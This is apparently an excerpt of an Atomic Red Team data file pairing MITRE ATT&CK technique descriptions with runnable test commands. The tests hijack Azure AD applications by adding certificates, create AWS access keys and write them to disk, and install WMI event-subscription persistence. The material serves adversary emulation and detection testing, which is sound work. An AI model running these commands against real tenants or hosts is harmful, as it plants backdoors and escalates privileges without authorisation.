        Principals and Applications in addition to existing legitimate credentials
        in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue
        Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include
        both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance)
        With sufficient permissions, there are a variety of ways to add credentials
        including the Azure Portal, Azure command line interface, and Azure or Az
        PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn
        infrastructure-as-a-service (IaaS) environments, after gaining access through
        [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries
        may generate or import their own SSH keys using either the <code>CreateKeyPair</code>
        or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login
        ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows
        persistent access to instances within the cloud environment without further
        usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation:
        Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code>
        API in AWS or the <code>gcloud iam service-accounts keys create</code> command
        in GCP to add access keys to an account. If the target account has different
        permissions from the requesting account, the adversary may also be able to
        escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation:
        Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel
        2.0) For example, in Azure AD environments, an adversary with the Application
        Administrator role can add a new set of credentials to their application's
        service principal. In doing so the adversary would be able to access the service
        principal’s roles and permissions, which may be different from those of the
        Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
        \n\nIn AWS environments, adversaries with the appropriate permissions may
        also use the `sts:GetFederationToken` API call to create a temporary set of
        credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606)
        tied to the permissions of the original user account. These temporary credentials
        may remain valid for the duration of their lifetime even if the original account’s
        API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation
        Persistence)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Expel
      - Oleg Kolesnikov, Securonix
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Zur Ulianitzky, XM Cyber
      - Alex Soler, AttackIQ
      - Dylan Silva, AWS Security
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - Azure AD
      - SaaS
      x_mitre_version: '2.7'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd
      created: '2020-01-19T16:10:15.008Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/001
        external_id: T1098.001
      - source_name: Crowdstrike AWS User Federation Persistence
        description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries
          Can Persist with AWS User Federation. Retrieved March 10, 2023."
        url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/
      - source_name: Expel IO Evil in AWS
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
        url: https://expel.io/blog/finding-evil-in-aws/
      - source_name: SpecterOps Azure Privilege Escalation
        description: Andy Robbins. (2021, October 12). Azure Privilege Escalation
          via Service Principal Abuse. Retrieved April 1, 2022.
        url: https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
      - source_name: Demystifying Azure AD Service Principals
        description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service
          Principals. Retrieved January 19, 2020.
        url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
      - source_name: GCP SSH Key Add
        description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved
          October 1, 2020.
        url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
      - source_name: Blue Cloud of Death Video
        description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming
          Azure. Retrieved November 21, 2019.'
        url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815
      - source_name: Blue Cloud of Death
        description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
          Azure. Retrieved October 23, 2019.'
        url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
      - source_name: Microsoft SolarWinds Customer Guidance
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Expel Behind the Scenes
        description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020,
          July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved
          October 1, 2020.'
        url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
      - source_name: Sysdig ScarletEel 2.0
        description: 'SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July
          11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12,
          2023.'
        url: https://sysdig.com/blog/scarleteel-2-0/
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.001
    atomic_tests:
    - name: Azure AD Application Hijacking - Service Principal
      auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406
      description: |
        Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.
        This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the targeted service principal
          type: string
          default: SuperSP
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

          # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
          $credNotAfter = (Get-Date).AddDays(1)
          $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

          $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
          Write-Host "Generated certificate ""$($cert.Thumbprint)"""

          New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant = Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\"
          | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential
          -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Write-Host \"Removed $($cred.KeyId) key from
          SP\"\n    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
          -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n"
        name: powershell
        elevation_required: false
    - name: Azure AD Application Hijacking - App Registration
      auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a
      description: |
        Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.
        This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        application_name:
          description: Name of the targeted application
          type: string
          default: SuperApp
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
          if ($app -eq $null) { Write-Warning "Application not found"; exit }

          # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
          $credNotAfter = (Get-Date).AddDays(1)
          $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

          $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
          Write-Host "Generated certificate ""$($cert.Thumbprint)"""

          New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant = Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\"
          | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId
          $app.ObjectId\nforeach ($cred in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Write-Host \"Removed $($cred.KeyId) key from
          application\"\n    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
          -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n"
        name: powershell
        elevation_required: false
    - name: AWS - Create Access Key and Secret Key
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122
      description: 'Adversaries create their own new access and secret keys to programatically
        interact with AWS environment, which is already compromised

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Create new AWS access and secret keys for the user
          type: string
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists.

          '
        prereq_command: 'aws iam list-users | grep #{username}

          '
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic

          '
      executor:
        command: |
          aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
          cd "$PathToAtomicsFolder/T1098.001/bin/"
          ./aws_secret.sh
        cleanup_command: |
          access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'`
          aws iam delete-access-key --access-key-id $access_key --user-name #{username}
          rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
        name: sh
  T1134.003:
    technique:
      modified: '2024-01-10T17:55:46.905Z'
      name: Make and Impersonate Token
      description: |-
        Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

        This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
      created: '2020-02-18T18:03:37.481Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/003
        external_id: T1134.003
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: LogonUserW function
        description: Microsoft. (2023, March 10). LogonUserW function (winbase.h).
          Retrieved January 8, 2024.
        url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.003:
    technique:
      modified: '2024-04-13T14:08:20.882Z'
      name: 'Event Triggered Execution: Windows Management Instrumentation Event Subscription'
      description: |-
        Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)

        Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe`  –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

        WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Viren Chaudhari, Qualys
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)

        Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'WMI: WMI Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
      created: '2020-01-24T14:07:56.276Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/003
        external_id: T1546.003
      - source_name: FireEye WMI 2015
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
      - source_name: Dell WMI Persistence
        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
        url: https://www.secureworks.com/blog/wmi-persistence
      - source_name: FireEye WMI SANS 2015
        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
          4, 2020.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
      - source_name: Medium Detecting WMI Persistence
        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
      - source_name: Elastic - Hunting for Persistence Part 1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
      - source_name: Mandiant M-Trends 2015
        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
          Front Lines. Retrieved May 18, 2016.'
        url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
      - source_name: Microsoft Register-WmiEvent
        description: Microsoft. (n.d.). Retrieved January 24, 2020.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Microsoft MOF May 2018
        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
          January 24, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.003
    atomic_tests:
    - name: Persistence via WMI Event Subscription - CommandLineEventConsumer
      auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

        https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                          CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
          $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = [Ref] $Filter;
          Consumer = [Ref] $Consumer;
          }
          $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
    - name: Persistence via WMI Event Subscription - ActiveScriptEventConsumer
      auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                          ScriptingEngine='VBScript';
                          ScriptText='
                          Set objws = CreateObject("Wscript.Shell")
                          objws.Run "notepad.exe", 0, True
                          '}
          $Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = $Filter;
          Consumer = $Consumer;
          }
          $FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
    - name: Windows MOFComp.exe Load MOF File
      auto_generated_guid: 29786d7e-8916-4de6-9c55-be7b093b2706
      description: "The following Atomic will utilize MOFComp.exe to load a local
        MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing
        MOF statements and adds the classes and class instances defined in the file
        to the WMI repository. \nTo query for the class:  gwmi __eventfilter -namespace
        root\\subscription\nA successful execution will add the class to WMI root
        namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
        and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n"
      supported_platforms:
      - windows
      input_arguments:
        mofcomp_path:
          description: Location of mofcomp.exe
          type: string
          default: c:\windows\system32\wbem\mofcomp.exe
        mof_file:
          description: Local location MOF file
          type: string
          default: PathToAtomicsFolder\T1546.003\src\T1546.003.mof
      dependency_executor_name: powershell
      dependencies:
      - description: 'MofComp.exe must exist on disk at specified location (#{mofcomp_path})

          '
        prereq_command: 'if (Test-Path "#{mofcomp_path}") { exit 0} else { exit 1}

          '
        get_prereq_command: 'Validate MOFComp.exe is on disk somewhere and update
          input argument.

          '
      - description: 'MofComp.exe must exist on disk at specified location (#{mof_file})

          '
        prereq_command: 'if (Test-Path "#{mof_file}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{mof_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof" -OutFile "#{mof_file}"
      executor:
        command: '#{mofcomp_path} "#{mof_file}"

          '
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
  T1134.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
      created: '2020-02-18T18:22:41.448Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1134.004
        url: https://attack.mitre.org/techniques/T1134/004
      - source_name: XPNSec PPID Nov 2017
        url: https://blog.xpnsec.com/becoming-system/
        description: Chester, A. (2017, November 20). Alternative methods of becoming
          SYSTEM. Retrieved June 4, 2019.
      - source_name: CounterCept PPID Spoofing Dec 2018
        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
          June 3, 2019.
      - source_name: Microsoft UAC Nov 2018
        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
        description: Montemayor, D. et al.. (2018, November 15). How User Account
          Control works. Retrieved June 3, 2019.
      - source_name: Microsoft Process Creation Flags May 2018
